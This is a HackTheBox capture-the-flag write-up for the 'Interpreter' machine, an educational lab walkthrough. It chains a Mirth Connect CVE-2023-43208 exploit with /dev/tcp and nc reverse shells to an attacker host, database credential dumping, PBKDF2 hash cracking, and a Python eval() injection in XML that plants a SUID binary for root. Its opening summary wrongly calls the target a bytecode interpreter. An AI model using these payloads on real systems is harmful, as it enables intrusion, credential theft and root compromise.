# Interpreter Writeup - HackTheBox

> Reverse engineer a custom bytecode interpreter binary, analyze its instruction set, and craft malicious bytecode to achieve RCE on a Linux target.

- **URL:** https://hackindex.io/writeups/interpreter
- **Platform:** HackTheBox
- **Difficulty:** Medium
- **Operating system:** Linux
- **Machine:** https://hacktheboxltd.sjv.io/interpreter
- **Tags:** rce, binary-exploitation, reverse-engineering, privilege-escalation, suid, hash-cracking, base64, cve-2023-43208
- **Authors:** [Joshua](https://hackindex.io/authors/joshua.md)
- **Read time:** 8 min read
- **Published:** 2026-02-23
- **Updated:** 2026-07-29

## Discovery

First we start a full NMAP scan on the target:

```bash
scan_tcp_full $TARGET_IP
# [+] Discovering all open TCP ports...
# Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-21 20:10 +0100
# Nmap scan report for $TARGET_IP
# Host is up (0.016s latency).
# Not shown: 62840 closed tcp ports (reset), 2691 filtered tcp ports (no-response)
# Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
# PORT     STATE SERVICE
# 22/tcp   open  ssh
# 80/tcp   open  http
# 443/tcp  open  https
# 6661/tcp open  unknown
#
# Nmap done: 1 IP address (1 host up) scanned in 12.99 seconds
# [+] Parsing open TCP ports...
# [+] Running scripts & versions on TCP ports: 22,80,443,6661
# Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-21 20:10 +0100
# Nmap scan report for $TARGET_IP
# Host is up (0.015s latency).
#
# PORT     STATE SERVICE  VERSION
# 22/tcp   open  ssh      OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
# | ssh-hostkey: 
# |   256 07:eb:d1:b1:61:9a:6f:38:08:e0:1e:3e:5b:61:03:b9 (ECDSA)
# |_  256 fc:d5:7a:ca:8c:4f:c1:bd:c7:2f:3a:ef:e1:5e:99:0f (ED25519)
# 80/tcp   open  http     Jetty
# | http-methods: 
# |_  Potentially risky methods: TRACE
# |_http-title: Mirth Connect Administrator
# 443/tcp  open  ssl/http Jetty
# |_ssl-date: TLS randomness does not represent time
# | ssl-cert: Subject: commonName=mirth-connect
# | Not valid before: 2025-09-19T12:50:05
# |_Not valid after:  2075-09-19T12:50:05
# |_http-title: Mirth Connect Administrator
# | http-methods: 
# |_  Potentially risky methods: TRACE
# 6661/tcp open  unknown
# Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
#
# Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done: 1 IP address (1 host up) scanned in 187.10 seconds
```

There is a open port 80 so lets run Nuclei on it to check for quick details

```bash
nuclei -target http://$TARGET_IP
#
#                      __     _
#    ____  __  _______/ /__  (_)
#   / __ \/ / / / ___/ / _ \/ /
#  / / / / /_/ / /__/ /  __/ /
# /_/ /_/\__,_/\___/_/\___/_/   v3.7.0
#
#                 projectdiscovery.io
#
# [INF] Current nuclei version: v3.7.0 (latest)
# [INF] Current nuclei-templates version: v10.3.9 (latest)
# [INF] New templates added in latest release: 182
# [INF] Templates loaded for current scan: 9810
# [INF] Executing 9808 signed templates from projectdiscovery/nuclei-templates
# [WRN] Loading 2 unsigned templates for scan. Use with caution.
# [INF] Targets loaded for current scan: 1
# [INF] Templates clustered: 2237 (Reduced 2113 Requests)
# [INF] Using Interactsh Server: oast.site
# [ssh-auth-methods] [javascript] [info] $TARGET_IP:22 ["["publickey","password"]"]
# [ssh-sha1-hmac-algo] [javascript] [info] $TARGET_IP:22
# [ssh-server-enumeration] [javascript] [info] $TARGET_IP:22 ["SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7"]
# [ssh-password-auth] [javascript] [info] $TARGET_IP:22
# [openssh-detect] [tcp] [info] $TARGET_IP:22 ["SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7"]
# [mirth-connect-detect] [http] [info] http://$TARGET_IP
# [options-method] [http] [info] http://$TARGET_IP ["GET, HEAD, TRACE, OPTIONS"]
# [INF] Skipped $TARGET_IP:4040 from target list as found unresponsive permanently: cause="port closed or filtered" address=$TARGET_IP:4040 chain="connection refused; got err while executing https://$TARGET_IP:4040/jobs/?\"'><script>alert(document.domain)</script>"
# [tech-detect:bootstrap] [http] [info] http://$TARGET_IP
# [old-copyright] [http] [info] http://$TARGET_IP ["&copy; 2023"]
# [http-missing-security-headers:cross-origin-embedder-policy] [http] [info] http://$TARGET_IP
# [http-missing-security-headers:strict-transport-security] [http] [info] http://$TARGET_IP
# [http-missing-security-headers:permissions-policy] [http] [info] http://$TARGET_IP
# [http-missing-security-headers:x-frame-options] [http] [info] http://$TARGET_IP
# [http-missing-security-headers:x-permitted-cross-domain-policies] [http] [info] http://$TARGET_IP
# [http-missing-security-headers:referrer-policy] [http] [info] http://$TARGET_IP
# [http-missing-security-headers:clear-site-data] [http] [info] http://$TARGET_IP
# [http-missing-security-headers:cross-origin-opener-policy] [http] [info] http://$TARGET_IP
# [http-missing-security-headers:cross-origin-resource-policy] [http] [info] http://$TARGET_IP
# [http-missing-security-headers:content-security-policy] [http] [info] http://$TARGET_IP
# [http-missing-security-headers:x-content-type-options] [http] [info] http://$TARGET_IP
# [INF] Scan completed in 2m. 20 matches found.
```

This reveals:

```
[mirth-connect-detect] [http] [info] http://10.129.1.90

```

## Exploitation of Mirth Connect

It shows us the website running is using Mirth Connect which with a quick Google Search reveals us it has a vulnerability [CVE-2023-43208.](https://hackindex.io/vulnerabilities/CVE-2023-43208)

We can use this exploit as following:

```bash
git clone https://github.com/K3ysTr0K3R/CVE-2023-43208-EXPLOIT.git
cd CVE-2023-43208-EXPLOIT
pyenv virtualenv 3.10 CVE-2023-43208
pip3 install requests pwncat-cs

python3 CVE-2023-43208.py -u https://$TARGET -lh $LHOST -lp $LPORT
# [+] Coded By: K3ysTr0K3R and Chocapikk ( NSA, we're still waiting :D )
#
# [*] Setting up listener on $LHOST:$LPORT and launching exploit...
# Exception in thread Thread-1 (start_listener):
# Traceback (most recent call last):
#   File "/home/kali/.pyenv/versions/3.10.19/lib/python3.10/threading.py", line 1016, in _bootstrap_inner
#     self.run()
#   File "/home/kali/.pyenv/versions/3.10.19/lib/python3.10/threading.py", line 953, in run
#     self._target(*self._args, **self._kwargs)
#   File "/tmp/CVE-2023-43208-EXPLOIT/CVE-2023-43208.py", line 55, in start_listener
#     with socket.create_server(("0.0.0.0", int(self.rshell_port))) as listener:
#   File "/home/kali/.pyenv/versions/3.10.19/lib/python3.10/socket.py", line 939, in create_server
#     raise error(err.errno, msg) from None
# OSError: [Errno 98] Address already in use (while attempting to bind on address ('0.0.0.0', $LPORT))
# [*] Looking for Mirth Connect instance...
# [+] Found Mirth Connect instance
# [+] Vulnerable Mirth Connect version 4.4.0 instance found at https://$TARGET
# [!] sh -c $@|sh . echo bash -c '0<&53-;exec 53<>/dev/tcp/$LHOST/$LPORT;sh <&53 >&53 2>&53'
# [*] Launching exploit against https://$TARGET...
```

Returning in our NC listener

```bash
rslisten 1111 tun0
# [LINUX] /bin/bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1
# [LINUX] busybox nc $LHOST $LPORT -e /bin/bash
#
# listening on [$LHOST] $LPORT ...
# connect to [$TARGET_IP] from (UNKNOWN) [10.129.1.90] 52788
```

Now that we have our initial access to the target we can do some internal enumeration. Checking online documentation of Mirth Connect shows us the paths of some useful config files like:

- mirth.properties

Viewing this file reveals us some useful information like:

```
database = mysql
database.url = jdbc:mariadb://localhost:3306/mc_bdd_prod
database.username = mirthdb
database.password = MirthPass123!
```

which we can use to exfiltrate users from the database like:

```bash
mysql -u mirthdb -p'MirthPass123!' mc_bdd_prod -e 'SELECT * FROM PERSON;'
# ID      USERNAME        FIRSTNAME       LASTNAME        ORGANIZATION    INDUSTRY        EMAIL   PHONENUMBER        DESCRIPTION     LAST_LOGIN      GRACE_PERIOD_START      STRIKE_COUNT    LAST_STRIKE_TIME   LOGGED_IN       ROLE    COUNTRY STATETERRITORY  USERCONSENT
# 2       sedric                          NULL                            2025-09-21 17:56:02     NULL       0       NULL    \0      NULL    United States   NULL    0
```

```bash
mysql -u mirthdb -p'MirthPass123!' mc_bdd_prod -e 'SELECT * FROM PERSON_PASSWORD;'
# PERSON_ID       PASSWORD        PASSWORD_DATE
# 2       u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==        2025-09-19 09:22:28
#
```

## Cracking the Mirth Connect hash and gain user access

HashID and hashcat can't find any matching hash for  "u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==", making me read the Mirth Connect documentation even more.

I stumble across this blog post [https://docs.nextgen.com/en-US/mirthc2ae-connect-by-nextgen-healthcare-user-guide-3281761/default-digest-algorithm-in-mirthc2ae-connect-4-4-62159](https://docs.nextgen.com/en-US/mirthc2ae-connect-by-nextgen-healthcare-user-guide-3281761/default-digest-algorithm-in-mirthc2ae-connect-4-4-62159)

talking about the hashing algorithm and iteration count which are very important for hashcat.

When I look at the hashcat examples on [https://hashcat.net/wiki/doku.php?id=example_hashes](https://hashcat.net/wiki/doku.php?id=example_hashes)

and search for "PBKDF2-HMAC-SHA256" we get the following example with hashcat mode:

|  |  |  |
| --- | --- | --- |
| 10900 | PBKDF2-HMAC-SHA256 | sha256:1000:MTc3MTA0MTQwMjQxNzY=:PYjCU215Mi57AYPKva9j7mvF4Rc5bCnt |

So we need to fill in the example "sha256:1000:MTc3MTA0MTQwMjQxNzY=:PYjCU215Mi57AYPKva9j7mvF4Rc5bCnt" with our own values.

### Creating the hash format

To begin with know the first part already which is "sha256:600000". Now we need the salt and key which are not directly found in our database hash. When I check the base64 decoded size of the hash it shows us:

```bash
echo "u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==" | base64 -d | wc -c
#       40
```

Since we know SHA256 has 32 bytes and the salt is 8 bytes ([https://github.com/nextgenhealthcare/connect/issues/5665](https://github.com/nextgenhealthcare/connect/issues/5665))  it matches the base64 decoded amount of 40.

When we take these bytes and make them base64 again we have all the parts of the hashcat example.

```bash
echo 'u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==' | base64 -d | xxd
# 00000000: bbff 8b04 1394 9da7 62c8 506c 30ea 080c  ........b.Pl0...
# 00000010: f2db 511d 2b93 9f64 1243 d4d7 b8ad 76b5  ..Q.+..d.C....v.
# 00000020: 5603 f90b 32dd f0fb                      V...2...
```

```bash
# Salt
echo bbff8b0413949da7 | xxd -r -p | base64
# u/+LBBOUnac=
```

```bash
# Key
echo 62c8506c30ea080cf2db511d2b939f641243d4d7b8ad76b55603f90b32ddf0fb | xxd -r -p | base64
# YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=
#
```

Our final hashcat hash

```
sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=
```

### Cracking the hash

Now we can finally crack the hash with hashcat like:

```bash
hashcat -a 0 hashes.txt /usr/share/wordlists/rockyou.txt -m 10900 -w 3
# hashcat (v7.1.2) starting
#
# OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
# ====================================================================================================================================================
# * Device #01: cpu-haswell-AMD Ryzen 5 5500U with Radeon Graphics, 4908/9817 MB (2048 MB allocatable), 12MCU
#
# Minimum password length supported by kernel: 0
# Maximum password length supported by kernel: 256
# Minimum salt length supported by kernel: 0
# Maximum salt length supported by kernel: 256
#
# Hashes: 1 digests; 1 unique digests, 1 unique salts
# Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
# Rules: 1
#
# Optimizers applied:
# * Zero-Byte
# * Single-Hash
# * Single-Salt
# * Slow-Hash-SIMD-LOOP
#
# Watchdog: Temperature abort trigger set to 90c
#
# Host memory allocated for this attack: 515 MB (3829 MB free)
#
# Dictionary cache hit:
# * Filename..: /usr/share/wordlists/rockyou.txt
# * Passwords.: 14344385
# * Bytes.....: 139921507
# * Keyspace..: 14344385
#
# [s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit => s
#
# sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=:snowflake1
#                                                           
# Session..........: hashcat
# Status...........: Cracked
# Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256)
# Hash.Target......: sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD...Ld8Ps=
# Time.Started.....: Sat Feb 21 21:05:53 2026 (2 mins, 8 secs)
# Time.Estimated...: Sat Feb 21 21:08:01 2026 (0 secs)
# Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
# Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
# Guess.Queue......: 1/1 (100.00%)
# Speed.#01........:       90 H/s (108.21ms) @ Accel:482 Loops:1000 Thr:1 Vec:8
# Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
# Progress.........: 11568/14344385 (0.08%)
# Rejected.........: 0/11568 (0.00%)
# Restore.Point....: 5784/14344385 (0.04%)
# Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:599000-599999
# Candidate.Engine.: Device Generator
# Candidates.#01...: sexything -> fernandita
# Hardware.Mon.#01.: Temp: 75c Util: 98%
#
# Started: Sat Feb 21 21:05:51 2026
# Stopped: Sat Feb 21 21:08:03 2026
```

So we know user sedric hash password snowflake1

### Getting user access

We can use our new found credentials with SSH and get the first user flag like:

```bash
ssh sedric@$TARGET_IP
# Warning: Permanently added '$TARGET_IP' (ED25519) to the list of known hosts.
# sedric@$TARGET_IP's password: 
# Linux interpreter 6.1.0-43-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.162-1 (2026-02-08) x86_64
#
# The programs included with the Debian GNU/Linux system are free software;
# the exact distribution terms for each program are described in the
# individual files in /usr/share/doc/*/copyright.
#
# Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
# permitted by applicable law.
# Last login: Sat Feb 21 15:08:48 2026 from 10.10.14.127
# sedric@interpreter:~$ ls
# user.txt
# sedric@interpreter:~$ cat user.txt 
# [HIDDEN]
```

## Privilege Escalation

Now its time for privilege escalation. We start by checking processes if there are any root processes running which we potentially can use to get root:

```bash
ps aux | grep root
# root        3560  0.0  0.7  39872 31784 ?        Ss   14:05   0:00 /usr/bin/python3 /usr/local/bin/notif.py
```

Lets check the source code of this script

```bash
cat /usr/local/bin/notif.py
```

```
...

def template(first, last, sender, ts, dob, gender):
    pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")
    for s in [first, last, sender, ts, dob, gender]:
        if not pattern.fullmatch(s):
            return "[INVALID_INPUT]"
    # DOB format is DD/MM/YYYY
    try:
        year_of_birth = int(dob.split('/')[-1])
        if year_of_birth < 1900 or year_of_birth > datetime.now().year:
            return "[INVALID_DOB]"
    except:
        return "[INVALID_DOB]"
    template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"
    try:
        return eval(f"f'''{template}'''")
    except Exception as e:
        return f"[EVAL_ERROR] {e}"

@app.route("/addPatient", methods=["POST"])
def receive():
    if request.remote_addr != "127.0.0.1":
        abort(403)
    try:
        xml_text = request.data.decode()
        xml_root = ET.fromstring(xml_text)
    except ET.ParseError:
        return "XML ERROR\n", 400
    patient = xml_root if xml_root.tag=="patient" else xml_root.find("patient")
    if patient is None:
        return "No <patient> tag found\n", 400
    id = uuid.uuid4().hex
    data = {tag: (patient.findtext(tag) or "") for tag in ["firstname","lastname","sender_app","timestamp","birth_date","gender"]}
    notification = template(data["firstname"],data["lastname"],data["sender_app"],data["timestamp"],data["birth_date"],data["gender"])
    path = os.path.join(USER_DIR,f"{id}.txt")
    with open(path,"w") as f:
        f.write(notification+"\n")
    return notification

...
```

First thing I notice is the "return eval(f"f'''{template}'''")" part which executes Python code as the user running the process (root). The goal is to make a malicious XML file which doesn't trigger the regex "re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")".

### Check legit XML file

I first start with a legitimate XML file:

```
<patient>
    <firstname>John</firstname>
    <lastname>Doe</lastname>
    <sender_app>A</sender_app>
    <timestamp>B</timestamp>
    <birth_date>01/01/2000</birth_date>
    <gender>M</gender>
</patient>
```

```bash
wget --method=POST --header="Content-Type: application/xml" --body-file=legit.xml http://127.0.0.1:54321/addPatient
```

### Create malicious XML file

Which works. Now Ill make a malicious XML where the firstname field contains a Python snippet to execute "cp /usr/bin/python3 /tmp/p && chmod 4755 /tmp/p", which will copy the python3 executable to the /tmp folder with a SUID bit, so we can execute this as root.

```
<patient>
    <firstname>{__import__("os").system(__import__("base64").b64decode("Y3AgL3Vzci9iaW4vcHl0aG9uMyAvdG1wL3AgJiYgY2htb2QgNDc1NSAvdG1wL3A=").decode())}</firstname>
    <lastname>Doe</lastname>
    <sender_app>A</sender_app>
    <timestamp>B</timestamp>
    <birth_date>01/01/2000</birth_date>
    <gender>M</gender>
</patient>
```

```bash
wget -S -O - --method=POST --header="Content-Type: application/xml" --body-file=exploit.xml http://127.0.0.1:54321/addPatient
# --2026-02-21 16:04:04--  http://127.0.0.1:54321/addPatient
# Connecting to 127.0.0.1:54321... connected.
# HTTP request sent, awaiting response... 
#   HTTP/1.1 200 OK
#   Server: Werkzeug/2.2.2 Python/3.11.2
#   Date: Sat, 21 Feb 2026 21:04:04 GMT
#   Content-Type: text/html; charset=utf-8
#   Content-Length: 53
#   Connection: close
# Length: 53 [text/html]
# Saving to: 'STDOUT'
# 2026-02-21 16:04:04 (5.36 MB/s) - written to stdout [53/53]
```

Now that our XML file has been successfully sent to the webserver we need to check if the exploit has been executed.

```bash
ls -pal /tmp
# total 7984
# drwxrwxrwt 11 root   root      4096 Feb 21 16:04 ./
# drwxr-xr-x 19 root   root      4096 Feb 16 15:42 ../
# drwxrwxrwt  2 root   root      4096 Feb 21 14:05 .ICE-unix/
# drwxrwxrwt  2 root   root      4096 Feb 21 14:05 .X11-unix/
# drwxrwxrwt  2 root   root      4096 Feb 21 14:05 .XIM-unix/
# drwxrwxrwt  2 root   root      4096 Feb 21 14:05 .font-unix/
# -rw-r--r--  1 sedric sedric      56 Feb 21 15:29 addPatient
# -rw-r--r--  1 sedric sedric      55 Feb 21 15:31 addPatient.1
# -rw-r--r--  1 sedric sedric      55 Feb 21 15:31 addPatient.2
# -rw-r--r--  1 sedric sedric      15 Feb 21 15:33 addPatient.3
# -rwsr-xr-x  1 root   root   1265648 Feb 21 16:02 bash
# -rw-r--r--  1 sedric sedric     323 Feb 21 16:04 exploit.xml
# drwxr-xr-x  2 mirth  mirth     4096 Feb 21 14:05 hsperfdata_mirth/
# -rw-r--r--  1 mirth  mirth        5 Feb 21 14:05 i4jdaemon__usr_local_mirthconnect_mcservice
# -rw-rw-r--  1 mirth  mirth      118 Feb 21 14:05 install4j_jre_version_mirth
# -rw-r--r--  1 sedric sedric     193 Feb 21 15:29 legit.xml
# -rwsr-xr-x  1 root   root   6831736 Feb 21 16:04 p
# drwx------  3 root   root      4096 Feb 21 14:05 systemd-private-5086c52768cd4b55a356b70a9b2b553c-systemd-logind.service-sc0cah/
# drwx------  3 root   root      4096 Feb 21 14:05 systemd-private-5086c52768cd4b55a356b70a9b2b553c-systemd-timesyncd.service-nsfl7R/
# drwx------  2 root   root      4096 Feb 21 14:05 vmware-root/
# drwx------  2 root   root      4096 Feb 21 14:05 vmware-root_3389-4248154114/
```

```bash
/tmp/p -c 'import os; os.setuid(0); os.setgid(0); os.system("/bin/sh")'
# # whoami
# root
# # cat /root/root.txt
# [HIDDEN]
```

Related
